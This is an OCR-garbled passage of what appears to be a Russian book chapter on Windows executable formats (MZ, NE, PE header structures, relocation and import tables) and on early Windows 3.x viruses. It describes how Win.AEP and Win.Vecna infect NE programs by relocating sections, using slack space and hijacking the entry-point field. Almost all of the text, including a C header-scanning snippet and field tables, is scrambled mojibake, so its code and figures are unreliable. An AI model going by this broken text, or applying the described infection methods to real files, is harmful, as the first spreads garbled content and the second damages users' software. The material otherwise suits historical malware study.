I lepBbiM  na h h x  6i>ur (JxjpMaT, paspafioTaHHbirt b cepe/nme 80-x ro ao B  

XX BeKa Microsoft c o b m c c th o  c IBM nna h x  o 6 m ero  npoe icra  -  onepanw- 
o h h o h  cncTeM bi OS/2. O h  no.'sv'in.n HaHMeHOBaHHe «New Executable* n 
cra.ii ocHOBHbiM <J>opMaxoM i iciio.uhsie.Mbix <J)afi/ioB He xo.?ibKo /t.'ia OS/2. 
h o  h ana Windows 3.X. Mh 6yae\i HasbiBaTb ero «NE-<popMamoM». O n- 
HOBpeMCHHo c hum  iiohbh.-ich 4>op.\iax « Linear Executable*, Koxopwii zio 
c h x  nop ripHMeiMexca b Windows 9X zyia BiipxyaJibnux a p a ife ep o B  mm 

oyaeM HasbiBaxb ero «LE-(popMamoM».
llpii nepexoae Ha 32-pa3pjwHbie Windows 9X/NT B03HHKJia lteooxo-

ailMOCTb B 4>OpMaTe HCllO.XHJieMMX (JjaH/IOB. o pil eH XHpOB a HH OM Ha Il.'ioc- 
kvio Moae.ib aapecHoro npocxpancTBa. TaK rioaBHJioi «PE-<j)opM(irn», 
ochobo iI KOToporo nocjtyacH.ia Hciio.xbsoBaBuiaaca b pasnbix B epcnax  

UNIX cnemuJtiiKamia; COFF (Comrnom Object File Format).
C BiieapeHHe.M  64 -pa3pH im oft a p x iix eK iy p b i nponeccopoB  n eM im yeM o  

rioHBHTca eme 6o.xee hobm h  (fnpM ax Hcnojm aeMbix cjjaiiJioB, ho roB opu xb  

ceiiMac o new npeacaeBpeMeHHo. IloKa ace. b KanecxBe na.uniaxiiBa. cjnip- 
Mofi Microsoft iicnojifcsyexca cjierKa b i uio h 3 m e h e h h a h 64-paapaaH aa  mo- 

au4>HKamia ■«K.iaccH<iecKoro» PE-<jx>pMara.
Bee cymecxByiomne (JjopMaTbi nporpaMWHbix ĉ aii/joB no c h x  nop 

HCn0.Xb3VTOT«l, XOTH H B pa3H0U CXeneHH. PI3 HeCKO.TbKHX TblCHH Iipo- 
rpiaMMHbix cftaiiJioB, nonaiiaiomnx na Bam KOMiibroxep n pn  ycxan oB K e 

onepanHOHHoii cucxeM bi (HanpHMep. Window's ME), n p iiM ep n o  80%  

o(|)op.M.neiibi icaic PE-nporpaMMbi, 15% KaK NE-iiporpa.MMbr, 4% KaK 
EXE-nporpa.MMbi MS-DOS, a HHoraa imeioxca 11 HecKOJibKO cobccm  vac 
yc-rapeBUiHX COM-nporpaMM.

M h  paccMoxpn.M ceii'tac oomne npnmunibi. Jieacamne b opraHiisaunH 

N E - 11 PE-nporpaMM. flporpaMMHbie (J)ai'i.TO 3Tiix xhhob npeacxaB.iaioT 

COOOH «KeHXaBpOB», C0CT05U11HX H3 ;ibvx pa3H0p0aHbIX «xe.x»:
O KpOXOXHOH, HO IIO.lHOIieHHOM upo ipaM M K ii b cJiop.Maxe MS-DOS, 

BbiBO/mueH na aicpan npeztyupeav/iaiom ee c oo o m e iiH e  tiaiKuoone 
«This p ro g ra m  ca n 't ru n  in DOS mode>>, h Btviezi 3a ./him ne.Me/i- 

; ien n o  ;saBepuiaR>i.H(-uca 9x0 raK Hasi.maewaa < ia r ;iy n iK a »  11. hi 

<.<stub>;
0  Hcno,']H H eM oii nporpaM M bi b o/ihom 113 W indows-<J>opMaxoB (P E -  

n. in N F - ) .

1 lp o rp a M M a  b (ftop.Maxe M S - D O S  p a c n o .x a ra e x c a  n n a ' ia ie  (|>aW./ia, no-  

3T0.MV n c p B b ie  ,'ina e ro  o a i ir a  n .ik io o m  iv ivM ae paB tib i *MZ*>. l lp n :u ia K o M  

ace i ip i ic jT O T B i ia  b (jja ii.ie  e m e  11 W in d o w s - iip o rp a .M M b i h b . w t c h  c u e -
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i.Uia,ribH oe3H a4eH fiec ,’]O Ba,paciio.iio>KefiH ()ronoa6co.fiioT iioM y (fia ii jiobom v 

C M eu ifH iuo 18h (3TO  n o jie  «  A a p e c  b cfjaft.ae R e lo c a t io n  T ab le#  b M S - D O S -  

3ar0Ji0BKe). oh o  / jojijkho 6brn> 6o.abUie h jih  paBiio 4()h. B s to m  cviyMae n o  

i Mi i i i i i i i i i '  ■ 3C.H b ()>an "K pacno jia raexcH  4-6aih 'OBaa ccb i.tKa Ha p e rn o ii 

<|>aitna, icoTopbm  a a m m a eT  W in d o w s-n p o rp aM M a . H ocK o.xbK y on a  x o ice  

; H a 'iim aeT ca  co  c n e m n fn i'ie cK o ro  aaro.ioBKa, nepBbie ee oa fixb i pam iM

«PE» h jih  <-NE >.
Bor, H anpiiM ep, KaK m o > rtt BbintH iiexb n p o u e a y p a ,  ocym ecxB jm iom a fl 

b <{.;ui ic iio h c k  W in d o w s -a a ro .io B K a :

f'j:’C-luOy ;.:T0'. 0.
1 nC 1UG !<i <1.0 . h ■’

Hi ncluc'- --̂ oni 
Kinciuce <s t a i .M>

unsicnen long winnrKtchar *s)

i--L f'. >*; ignea long s :

? - open's. 0. BINARY f0 ..RHONl.v. S.. [REA!)';
?):

if {.*! ~ 0 x 5 A 4 ;)) { close (f); :e r .> - 0: f 
X s e e k ( f . C k ^ .  SEEK. SET );
,"ead(f. &x. ? ) :

if (x<'Ck40) ! close (f); return 0; }

Is?&;.(*. 0\30 SFF;K_.SEr ):
( f , &ft. 4;; 

c :.C3e( Q:
-i.

}

B o om eM  c jiyn ae  W in d o w s -n p o rp a M M a  paccM axpH BaeM w x h»mm (.{x>p- 

M aroB co c x o n x  na:

O  c j i y a c e o H o i i  otwiaoTU. coA epacau iefi aarcuioBoK n p o r p a M M b i  h  pas- 

jinHHbie nacxpoeH H bie 1 a o jo i hm;

O  n aoopa  ceKiuiii., coziep/Kaim ix k o . i . zianiibie, oxen  ti x. n.;

O  iit'O O M aarejibnoro (h nam e Bcero OTCVTCTBVKJiuero) o B e p jie iin o ro  

cei'M euxa.

(  p e .u i xao jiim , paaM em eiiHbrx b  < iv>Ke6noii o tu ia rm  (jia iijia , c.ae,iyeT  

yiloM>|H v i I-

O  ra o 'iiiu y , o im cb ii;a io m v io  Ha.snaHeune h M ecTo iio .’iO/tceHtie ceK iu iii: 

O  rao.THny nepeMemae.Mbix ccb i.ioK  (r e lo c a t io n  ta b le ):

O  M 1.1 ik\ na xomkv bxo.ui n nporpaM M y. p acrio jia raK )iu y ioc ;i Bnyxpn 

op tion  na ceK iu iii.

T a K V K e  B i i V T p n  o t v i a c n i  o a r o .m v s K a  p a r n o J i a n n o x c M  c n i f n tn  i.j'VHKuni-1. 

K o x o p b i e  n p o r p a M M a  o e p e x  ; i , iH  c b o h .x  f iy / K A  in  ; i p y r n . \  n p o r p a M M H b i x
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MZ MS-DOS-
saroHOBON

MS-DOS-opoi P3MM» (s'aib;

NE w m  PE

Cny*e0i-i3R t«6)iacsh 
! VVsndows-aaf&iKigos)

----  ---- -

CC'RUHS ! 

CeKUMfl 2

CSKUHS N

Pmc. 4.8 ❖ 06o6iueHHaq CTpyKTypa 
Windows-nporpaMM

KOMHOHeHTOB W in d o w s  (HanpiiM ep. na aimaMHMeciaix 6n6jinuTeK), 

h tJ)VHKUHH, K0T0pbie caMEi ona npeaocTaBjmeT i\.m  Hyacfl a p v n ix  npo - 
rpa.MMHbix KOMHOHeHTOB. O h h  HasuBaioTCH m a d j iu t ja .u u  u .M iio p m a  11 m a o -  

jm iM M U  s K c n o p m a  c o o T B m 'T B e H H O .

Bee ynoMHHVTbie 3/ieMeirrbi crpoeHHH Windows-nporpaMM pea.;iH3o- 
B a i iw  b  p a 3 H b ix  4 > o p M a T a x  n 0 - p a 3 H 0 M y ,  i k o t o m v  6 o / ie e  K O H K p e T H O  11 n o a -  

P o o h o  o h h  o v a y r  p a c c M O T p e i ib t  i-m ace , b  c o o T B c r c - T B y io im ix  p a a / ie .- ia x .

4 .2 . Bupycbi AAsi 16-pa3p?iAHbix BepcMM 
Windows

..J } oecedoaa.n r  Kpuc.mo6a.WM Xn.iffsuue.M u 
c 0edopo.\i CuM em oom eM . Ohu no:ia/.amm. <4mo 

Binom rtuean-mptmcnumop npebcm ae.inem .n u m  
Myseuuijw Uji HHoan i>.

A. m l>. CrpyraiiMie. 
• ! !• .'in .!<• n.intK Ha'iimafrca u cv66o tv »

Bupycoii ;i;s'A Windows 3X cyinecTByex oMc-Hb Htwmuro. Bcero Hei'KO.'ibKo 
awHTKoB. h aa.Mt-THbix :MinaeMiiii ohii miicoraa He Bbiabimum. Mhtcpcc- 
ho, hto lifMa.uiH a<viHf BH[>ycoB Windows 3X noHBti.-'iacb y>Kt' ii'KVie 
1995 roaa. to eetl j? tot nrropimecKHii iK-pno/i. k< Tja 1 (j-onToBbic Bepam 
Windows y>Ki- ronum co cneiibi, Bbrn-iHeunbit' cboumii ooaee coiu-pHicn-
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HbiMii 32-6htobwmh co6paTb«MH. H e 6yaeT oojiuiuhm npeyBe.TimeHHeM
C 'fH T a T b , MTO r a K l i e  R U p y C b l C 0 3 / ia B a . 'IH C b  H C IC IK JM IlT e JIbH O  « H 3  JIIOOBH 

K H C K V C C T B J-> . XoTH, KOHCHHO. CTOHT yriOMHHyTb «MIIiq)03HH7leMllK>>> BH 

p yca  W in .T e n ta c le .  1958, c.ayH iiB iuyiocH  bo  cp p an n im  b 1996 ro/jy; ,5a h  

BHpyc W in .G o l lu m  x a r o K e  B C T p e ' ia . i o i  b «,3H Koii n p iip o a e * .

KaK 6m t o  hh Gbuio, riporpa.vrMHbie <jnui.H>i b «NE-cjx)p.MaTe>> 110 
npejKiieMy npnc v  t c t b v k i t  na naimix jcoMtibjoTepax, 11 Bonpoc h x  *aapa- 
3HMOCTH* HMeeT HeHyjK:'B\TO aKTVa.TbHOCTb.

4.2.1. OopMaT (}>aMJia NE-nporpaMMbi
KaK h ju o 6 aa nporpaMMa jsjih  Windows, NE-nporpaMMa >iBJi>ierca «kch- 
TaBpoM»> ~ c o B O K y i iH o c T b io  A B y x  n p o r p a M M .  o;uia H 3  K O T O p w x  B b in o j u u i -  

exca To/ibKo fia-nofl MS-DOS. a apyraa TOJibKO 113-noA Windows [29], 
MS-DOS-nporpaMMa pa3MemaeTcsr b i-ma.ae (|>aHJFa. a ccwnca n a  3a r o -  

j io b o k ,  c KOToporo H a y i iH a e T C H  Windows-nporpaMMa, pacno,iaraercji b 

(|iaiijie no aocojiKmio.Mv cMememno 3Ch. Maine Bcero ara ccbuiKa iiMeex 

3iiaiieHiiH 80h h j ih  200h.
3 t o t  3ar0Ji0B0K xapaicTepiiayeTCJi ymiKaJibHon cnrHarvpoH «N  E »  

b cbohx nepBbix oaiiTax 11 HMeer cjie/iyioiuyjo cTpyicrypy (cm. i^afiji 
«WINNT.H>, bxo/uiiuhh b cocraB WIN32 SDK):

■ e_. aw 4 5 4 E . : " O ' J : y H ^ k  b H j  -i r H j  i ■ p: -  Nr

■: d b  > •- -in

e v viv

=.' : b -04- i i r 0 :-(0 ■,

• r 1 !/;< J-v

c  ■: 0 ' -  K — - v j .

V. r ■ :i j  ~ { i w '' ” SiT! H iU -r: •v ' h .

.. ' W iS ".  " *r Er. "  ''*(■:rJ. TO r.̂ ,nE

^  - "  pci jHAC- K v - ; - ’ ’

a.v " “ I ' - ” i i j . ' ' ' '3 0

7 -  .. N >

'IV11

■1 w - • ■1 : r

cio ■; - !.V;. j.- -  «< U. Del

: Li - "- . -  ; ‘ - - j  ;■

- -  ii- . •’ !: - ■ 1: : 1 m

-  - Aj - , ' . T V 0-:- r w .....'

; r: ■ • ■: . .* r  :" i ' ‘ - •

;i.v t & ; 'd! J ::. ' . 1 ■
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nejnodtab dw ? +23h - CwsmeHHe TafiJiMUH m en  HMnopTMpyeMux woayjiefi
ne_imptab dw ? +2Ah - CMeneHHe ts&imiu a a p e c o B  MMnopTHpyeMux mmbh
ne_nrestab del 9 +2Ch - CMemeHne Taoiinuu sxcnopTMpywux Hepes-x mmsh
ne_cmovent dw 9 <-30h - Kojimmggtbo nepewsiuaeMbix Tonei- bxoas
ne_align dw ? +32h - flsovi4HbiiS JiorapnifiK paawepa /iornM9CKoro oeKrops
rie_cres dw ? +34h - Hticrn pecypcHwx eerMSHToe
ne_exetyp db 9 *36h - Koa onepauMuHHoii cmctgmu

ne_flagsothers db ? <-37h - npomue nporpaMMHwe x̂iarn
ne_pretthunks dw ? +38h - CHeiijeHHe ofijiacTM dhotpok rarpyskM
ne_psegrefs dw 9 +3Ah - PasMep ofinacTM Swcrpoa 3arpy3KH
ne_swaparea dw 9 +3Ch - MMHMHa/lbHWR P83M6P, B H r p V M e M H f i  H a  f l UCK

Bepcwo Windows ,9 ,n e c 0 0 6 p a 3 H 0  paocwaxpuBaTb KaK:
WIN_Vers (lb ? +3Ch - HOMep Bepcnn Windows
WIN_Revs db 9 <-3Dh - Homsp P9BM3MH Windows
ne_expver dw 9 +3Eh - 0*nflaeMao Bepĉ fl Windows

B nponecce 3arpy3KH b onepaTHBHyio naMHTb nonaflaicrr TojibKo ceic- 
miH, Ha KOTOpbie pa3fle^eHa nporpaMMa, h Kaacaaa ceKnna pa3MemaeTCH 

b OT/iejibHOM cerMeHTe. Tonica b x o r z  mojkct pacno.iaraxbca rue-to bhvt- 
pn OflHOH 113 TaKIIX CeKIJH#.

KpoMe 3arojioBKa, b c jiy *e 6HOH Macra nporpaMMbi pa3MemaioTCH mho- 
roHHCJieHUbie cjiyace6HHe Ta6jiHHM. Hx Mec'ronoaoaceHHe oTHociixejibno 

HayaJia SToro 3aro.TOBKa b  btom ace 3aro.noBKe h yKa3bmaeTca. EflHHHua 

H3MepeHHH npH 3tom -  jio zu n e a cu e  ceum opb i, pa3Mep kotopmx onpeflejia- 
eTCJi coflepacHMbiM no jw  «n e _a lign ». Hanpim ep, 3HaMeHHio 9 b stom nojie 

cooTBeTCTByeT pa3Mep jionriecK oro ceKTOpa 2A9=512 6aHTOB. Taojmijbi 
onucbiBaioT CTpyKTypy NE-nporpaM M H h CBOHCTBa sthx  cTpyKTypHbix 

KOMnOHeHTOB.

42.1.1. Ta6nuufl onucauun cezMeumoe
Mecrono/ioaceHHe sto h  xaoJimjbi xpaHHTca b nojie «n e_segtab » 3aro- 

;iOBKa, a KojuiHecTBO ee «cTpoK» -  b  nojie «n e_cseg ». Tao.raua oniicbiBaex 

cerMeHTbi, Ha KOTOpbie 6yaeT pa36HTa nporpaMMa npn 3arpy3Ke b riaMHXb, 
npHHeM KaacAOMV cerMeHTy cooTBeTcrByeT oflHa <<cxpoKa»-. Bee «c tpokh »  

HeHBHO npoHyMepoBaHbi, h z h h h z h  c 1. OopM ax KaacaoH TaKofi «cTpoKii»-:

n s _ s s c t o r  dw ^  ; f 0 0  ~ Gm? ui0 h h 8 s  /lo rnH P C K vix  o s k t o p s x  o t  h s m 3 j i6 <p3ii/i6

ns_ctis00 aw ? , *02 -  Pssneo e oafitax
r:s_flags dw o ; +04 - BuToeue aTpMoyru cerMema
n s . r n m a l  i o c  d w  ? . *-0 6  -  P e s e p s n p y e H a R  n o n  o e rw o H T  n a w a T b  ( e c n n  u , t o  5 4  K 6 ;

CaMbie BaacHbie oiiTbi no.ra <<ns_flags-> Huxepupexupyjoxc a cjie/iyro- 

iuhm  oopaaoM:
O 6iit 0: vcTaHOBJieH flxw cemeHTa aaHHbix h copoiueH ajm  ceraeHTa

Koaa;



O  6h t  7: eciin ycTaHOBJieH, to  osHanaeT npH3HaKii «tojimco a jw  HTe-
HHH» (eCJIH 3TO CerMeHT flaHHMX) H ^TOJibKO HJIH HdlOJIHeHHH* 

(ec.nH 3T0 cerMeHT KOfla);

O 6h t 8: eciiH ycTaHOBJieH, to  b cerMeHTe npncyTCTByioT nojia, ko- 
Topwe Tpe6yioT HacrpoHKH 3arpy3HHK0M nporpaMM no Ta6jnme 

nepeMemaeMHX cchjiok.

42.12. Ta6jiuufl onucauua nepeMeu^aeMUX ccujiok

3Ta ra6jiHna, ecjiH OHa ecn>, pacnojiaraerca cpa3y nocjie KoaoBoro 

cerMeHTa. H&nHHHe hjih oTcyrcTBHe stoh  Ta6jmnbi onpeaejiaeTca 6htom  

8 nojra «n s_flags» TaojiHHbi onncaHHa ceraem-oB. FIoJio>KeHHe Ta6jiimw  

nepe.MemaeMbix ccbuioK JierKo BbWHCJiHTb, 3Haa MecTonojioaceHHe cer
MeHTa (nojie 4ns_sectoi>) h ero ajm hv (nojie «n s_cbseg»). CHanaJia n^eT 

16-6HTOBoe cjiobo, xpaHamee kojihhcctbo 3annceft b stoh  Ta6jmute. 3aTeM 

HfleT caMa Taojmna nepeMemaeMHX cch tok  c 3armcHMH cjieayiomero BHjia: 

■nr_ s typ e  db ? , *-00 -  Tun ccbuiKH
n r_ fla gs  db ? ; +-01 -  $naru cboSctb ccujikm ( shsmghms psbho 0 win 4)
nr.soff dw 9 ; +02 -  nosioxeHMe cchjim e cerHeHie
nr_segno db ? , +04 -  HOMep cerMeHTa
n r.res  db ? , +05 - aapesepBMpoaaHO
n r .e n try  dw 9 ; +06 -  snsmeHHe conn mi, HeKc-Topoe CHeweHMe & cenmrr*

Bo3MoaceH h BTopoii, ajibTepHaTHBHbiii BapnaHT 3amicH:

__________________ Bupycbi aasi 15-pa3p9iAHbix Bepoifi Windows ❖ 219

n r _ s ty p e  db 

n r _ f l a g s  db 

n r . s o f f  dw 

n r_m od  dw

n r _ p r o c  dw

+00 -  Ti1H CCblJIKM

+01 -  4>J!arn CB0HCT8 CCHJ1KM (3HaH©HH6 P3BH0 

+02  -  n onom eH ite  c o H iiK ii b c e rM e H te  

+04 -  HOMSp HM nnpTM pyeMOro M O flyjlfl 

+06 -  opanHa.n tu rn  cweaieHne hmghh

B o 3 M O » c h m  a i e a y i o m H e  t h e m  c c h j i o k  ( n o j i e  4 n r _ s t y p e » ) :

0  2 -  1 6 - p a 3 p a z iH b iH  c e j ie K T o p  c e rM e H T a ;

0  3 -  32-pa3paaHHH VKa3aTeJib Bima ^cerMeHTXMemeHiie*;
O 5  -  1 6 - p a 3 p a a H o e  C M e m e H H e ;

O 11 -  4 8 - p a 3 p a a i i b iH  y K a a a T e / ib  ( H e  a o K y M e f r r a p o B a H o );
O 1 3  -  3 2 - p a 3 p H z iH o e  C M e m e H H e  ( H e  z io K y M e H r a p o B a H o ) .

<3>jiara c b o h c t b  (n o n e  «n r _ f la g s » ) H M e k >t  cjre/iyioinee H a a H a H e n i ie .

O  0 -  B H j r r p e H H a a  ccbuiKa:
O 1 -  c c w j iK a  n a  op d u n tu i ( n o p a i iK O B M H  H O M e p )  H M n o p r a p y e M o r o  

ofiteKTa;
0  2 -  c c b i.T K a  H a  h m h  H M H o p T i ip y p m o t o  o 6 i> eKTa;

O 3  -  f l o a t  i n g  p o i n t  f i x u p ;

O  4
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IlepeMemaeMbie ccw.jikh Hrpaior oneHb BaacHyio pojib npn oprami3a- 
u.hh MejKCerMeHTHbix nepexoflOB, b tom Hiic.ne 11 Tex, KOTOpbie nponcxo- 
/tHT npn oopameHHH k CHCTeMHbiM cepBHcaM. 06pam eraie k cepBiicaM 

MoaceT nponcxoflHTi> KaK no nopa#KOBOMy HOMepv (no  opaHHajiy) bh -  
3UBaeMo# 4>yHKumi b 6n 6jinoTeKe, TaK h no hmchh. HacKOJibKc mo>kho 

cyflHTb no peayjib'raraM HccjieaoBanna NE-nporpaMM, Bxo/wmnx b zmc- 
TpH6yniB W in d ow s 3.X, b 3To h  onepaunoHHOH cHcxeMe BTopoii cnoco6 
hjih  coBce.vi He ncnojib3yeTc>i; hjih  ncno;ib3yercfl Kpaftae peflKo1.

W.aynHM npaBUJia lipHMCHeHHa nepeMemaeMMX c c h j t o k  H a  n p H M e -  

pe opraHHsaixiiH KOMan/i MeacceraeHTHoro nepexoja. IIocKOJibKy a6- 
c o j i i o t h u h  aapec t o h k h  nepexoaa craHOBHTca H3Bec,TeH TojibKo nocjie 

3arpy3Kii nporpaMMbi b naMHTb, t o  k o / i  k o m h h z i «j\J\mmaiip nepe/ta^H 

ynpaBJieHHH

dd OEAn 
dw ???? 
dw ????

dD 09An
dw ???? 
dw ????

JHP
HensgecTHoe CMeuieHMe 
HeM36eCTHniV1 OferWBHT

CALL
HevnBecTHoe CMeuieHMe 
HenSBScTHbiR cerMeHT

HyamaeTca b flonojiHHTe;ibnoH HacTpoHKe -  b npouecce 3arpy3KH Heoo- 
xoflHMo noMecTiiTb Ha MecTo !ien.3BecTtibix cMeme.HHw h cerMenroB koh- 
KpeTHbie <inc/ioBbie SHayeHna. H toow  He pas/tyBarb pa3Mepbi Ta6.nimbi, 
aBTopbi W in d o w s  peinnjin caKOHOMHTb Ha ccbi.-iKax. HanpiiMep, ecjin 

b cerMeHTe npHcyrcTByioT HecKOJibKO bm3obob oahoh 11 xoii ace BHeuiHeii 
(pacnojiaraiomeHca b  zipyroM ceraeirre ) ripoue/iypbi. to  b raSjnm e UMe- 
eTca «CTpoKa#- TO.TbKO zi.to onucaHHa oahoh, caMon nepBon TaKon ccbin- 
kh. H o  3aTo c.tobo c.MemeHHtf b 3toh  ccbiJiKe yKa3biBaeT Ha CjieflyromvTO 

CCWJIKy, COOTBeTCTBNTOlUyiO TOH BHClUHeH lipOIjeAYpe, Ta, B CBOTC) OHe- 
peflb, -  Ha c.rie/tyjouiyro... h TaK /{ajiee. noKa b c/iobc c.vieiueima He Bcrpe- 
THTca npH3H3K KOHqa uenoMKH -  cjiobo OFFFFh:

100F1 9AE801O0U0 031L KtriNtL. 39 , 3~o t-yHvi LoTR̂ -Ai 
,101E7 9AFB01000C call KERNEL. 89
. 101FA 9AFFFF0000 c a ll KERNEL 8y ; noe/^flHaq coanKS y ueno^.s

TaiciiM o6pasoM, npn sanycKe nporpaMMbi W indow s no o/uioii «CTpo- 
ice> ra6.riimbi e;iiinbiM MaxoM HacrpaHBaex HecKo.fibKo (H H orja o^eiib

1 3;vro, B eposirno. noaoOHHlv K a te rop m H M tt bmbo;i ne o tm o c h tc ji k  OS/2.
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MHorol)  ccbuiok. Pa3yMeeTca, ecjra b (Jafcie npHcyrcTByeT e/tHHCTBeimoe 
ofipameHHe no KaKOH-TO BHeumeH ccHjnce, to  3HaneHHe CMememw cpa3y 
flOJDKHO 6uTb OFFFFh.

4 2 .1 .3 .  Ta6jiut^u onucatatx ujm opm a
NE-nporpaMMa coaepaarr (cm. nojie «ne_modtab») cnncoK iimch 

BHeillHHX Moayjieft (HanpHMep, .ZlHHaMHHeCKHX 6h6jIHOTCk), HMeiOIUHH 
cfleayjomHH 4>opMaT:

rs_len db N ; N -  nnm a  ctpokh
rs.stringdb N dup (?) ; N cmmbojiob ctpokw

Taicace HMeerca BcnoMoraTejibHaa Ta6;raiia (cm. nojie «ne_imptab»), 
coflepacamaa 16-6htobhc CMemeHHH sthx HMeH 0TH0CHTejibH0 Hanajia 
Ta6jnmM. 3 to  caeJiaHO flJia ycKopeHHH pa6oTH 3arpy3HHKa NE-nporpaMM 
b naMHTb. BhinojiHaa cbok) pafSoTy, 3arpy3HHK cKaHHpyeT Ta6jnmy nepe
MemaeMHX cchjiok, h ecjra o6Hapy»tHBaer 3aimcb, cctuiaiomyiocH Ha 
KaKOH-Jin6o BHeuiHHH o6i>eKT, to  H3BJieKaeT H3 Hee HHfleKc M o a ym , co- 
aepacamero stot oftbeKT, no HHaeKcy cpa3y HaxoAHT b Ta6jrane oimcamia 
HMnopTa KOHKperaoe hmh (HanpHMep, «K E R N E L») h no nopaflKOBOMy 
HOMepy (no op«HHajiy) stoto ofSteKTa b stom Moayjie noMemaeT b Hyx- 
Hyio aneHKy naMHTH HyacHHii aapec.

4.2.2. 0praHM3auM$i BupycoB ajm  Windows 3X
BBHffy CBoefl MajioHHcjieHHocni no*rra Bee BHpycbi ana Windows 3X 
B HeM-TO OpHTHHajIbHH H, KaK IipaBHJIO, COflepjKaT 0C06eHH0CTH, otjih- 
naiomHe hx ot <copoflHHeft». Ho h Kaiene-To o6mae Hepra b hhx, kohch- 
ho, Ha6jiioaaioTca.

IIpejKfle Bcero 6oJibmHHCTBo Tajcnx BHpycoB (ho He Bee!) a m  Bbmoji- 
HeHaa ^hhjiobhx onepamiH o6pamaK)TCH He k Win API, a k cepBHcaM 
MS-DOS (npepHBaHHe 21h).

Hpyraa o6maa MepTa 3aKjnoMaeTca b tom, hto BnpycH, KaK npaBHJio, 
cnuibHO CTecHeHH b npocTpaHCTBe noa cboh BpeMeHHHe nepeMeHHHe. 
ToMHee, hm KpaftHe HeacejiaTeJibHO Hcn0Jib30BaTb cerMeHT aaHHHx 3apa- 
acaeMOH nporpaMMH. IloaTOMy ohh jih6o pa3MemaioT cboh BpeMeHHHe 
aaHHHe b CTeKe, jih6o BbiaejwioT ajm cbohx CJiy*e6HHx Hy*a b chctcm- 
hoh naMHTH cneunaJibHHH cemeHT, noJib3yacb a m i aroro cepBHcaMH 
DPM I (npepHBaHHe 31h).

HaKOHeu, nojiyneHHe ynpaBJiemui o6hhho npoH3BoaHTca Kopperam- 
eft 3HaHeHHH 32-6«TOBoro nojia «ne_csip» b NE-3arojioBKe. 3 to nojie co
ctoht H3 aByX He3aBHCHMbIX 16-6lIT0BHX Ĉ paTMeHTOB: B OflHOM H3 HHX
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xpaHHTCH HH^eKC (nop aflK O B b n i HOMep b  Ta6 jn m e  cerMeHTOB) nporpaM M - 

h o #  ceicuHH, cooTBeTC TByiom eH  KOflOBOMy cerM eH Ty, a  b  a p y ro M  -  CMe
meHHe t o h k h  Bxo.ua BH yrpH  3T o ro  cerM eH Ta. TaKHM o 6 p a3 0 M, «n p o rp aM - 
Ma-MHHHMyM»- n o  o 6 e 3 BpexeHBaHHK> B H p yca CBOAHTCJI K BOCCTaHOBfleHHIO 
n p e * H e r o  3 HayeHHa a r o r o  n o n x .

OflHHM H3  n e p B U X  (a MoaceT 6hJTb, h caMWM nepBUM) BHpycoM am 
Windows 3X MoacHo cwraTb W in.Vir_l_4, co3/iaHHHH eme b 1992 roay 
HeKHM xH T eJieM  ToJinaHflHH no h m c h h  Macya Kacjaip. IIo coBpeMeHHWM 
noHHTH«M, sto  6h ji «HeaoBHpyc», TaK k »k  BHeapaTbca b 4»h ji h nepe- 
XBaTMBaTb ynpaBJieHHe oh yace yMeji, a B03Bpaman> ynpaBJieHHe <acepT- 
Be» -  eme HeT. IIoaTOMy BHpyc npn 3anycKe 6MCTpem>Ko BbinoJiHHJi 
cboh <Hexopourae» achctbhh, 3aTeM yaajiflji ce6a H3 (Jjafijia «acepTBH» 
h... npocTo thxo 3aBepmaJicH. Koraa ace yaHBiteHHMH h o6ecnoKoeHHWH 
nojib30BaTem> ntrreuicfl n0BT0pH0 3 a n y c r a T b  « H e n o c  JiyiiiHyio *■ n p orp aM 
My, Ta BnoaHe HopMaJibHO HcnoJiaaJiacb, Be/u> BHpyca-To b Heft yace He 
6buro.

<H op M ajibH M e» BH pycM  noaBHJiHCb HecKOJibKO n o 3* e .  PaccM O TpaM  
HeKOTOpbie H3  HHX.

*3«opoww*
nporpaMMa

nporpaMMa, sapa- 
MHHafi empyooM 
Wm.AEP

nporpawna, *apa- 
xenHas impycoM 
Win.Ttny

nporpaMMa apa- 
xeHHafl BMpyCOM 
W *».Vocna

DOS-isafonoac* DOS-3aronoe« OOS-aaronoeoK DOS-sarcnoamc

DOS-samyuma O O & m tft«* « DOS-3acnyu*a DOS-samyusna

MRndows-aaronoao* W%xJows-3aronaac* Windows-3aranoeoH
(yeentwsHHuw) Wkxkws-jaronoeo*

Cet<mw 1 CettM»w1 Ge*mw t Cen^m 1

.

C m ym  «w a I ' CenjMKQHa I CfeajHRKoga

Bitoff
|  ̂  ̂ winnrnrj

CerajMH N 1 ■ Cew/w N 1

1
....

CMuHNMpyea J
1

Cm p N | j  a" w t  i

Pmc. 4.9 ❖ flpuHUMnw 3apaxeHMa NE-nporpaMM

BHpycbi ce M e n cT B a  Win.AEP (H3BecTHue TaKace K aK  W in.Vik) B H ea- 

pjuiHCb b NE-nporpaMMy aocraToHHo cjioacHHM 06pa30M: o h h  caBHraan 
Bee ceKUHH, pacnojioaceHHbie nocJie ceimnn KOflOBoro cerMeHTa, b Ha-
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npaBJieHHH k  icoimy 4>aHJia, paciimpflJiH ceiajHio KOflOBoro cerMeHxa 3a 
cnex 06pa30BaBmer0ca npocTpaHcxBa h pa3Memajm TaM cboh koa. Co- 
OTBeTcxBeHHO, npH axoM npHxo/ouiocb nepecHHXUBaTb 3HaneHiw nonra 
Bcex nojiefi NE-3aro;ioBKa h Bcex aiy*e6ja>ix Ta6jnm. FlocKOJibKy BH
pyc pacnojiaraacH b o6meM c nporpaMMoft ko^obom cerMeHTe, xo nepe- 
flana ynpaBJieHHa <xepTBe» BunoJiHHJiacb ajieMeirrapHo -  npn noMoxyn 
KOMaHflw BHyTpHcerMeHTHoro «JMP».

Ko^jieKUH O H H H H  BH pyc Win.Vecna (o h  ace Win.Bonk) n 0jn>30Bajicsi 
TeM o6cT<Mrrejn>CTBOM, hto  p a3 M ep u  B cex  ceKipiH BbipaBHeHU Ha flJiHHy 

JionwecKoro ceicropa -  OHa KoflnpyeTca b nojie «n e _a lign » 3ar0Ji0BKa h 

o6uh ho  cocraBJwex 512 6aHT. Ecjih b KOHqe kosoboh cerama ocraBaaocB 

no KpaimeH Mepe 152 HeHcn0jib30BaHHbix 6aHTa, BHpyc noMema/i b axo 

npocTpaHCTBo « 3arpy3HHK>, a caM npHnHcwBaJica k Koimy (ja& ia . IIo - 
Jiy'iHB ynpaBJieHHe, 3arpy3HHK co3#aBaji npn noMomn cepBHcoB DPMI 
b naMHXH hobwh cerMeHx, CHHXMBa.fi b Hero 0CH0BH0e xejio BHpyca h, 
HaKOHeu, nepe^aBaa ry m  ynpaBJieHHe. B o t  jimctuht <3arpy3HHxa>, fle- 
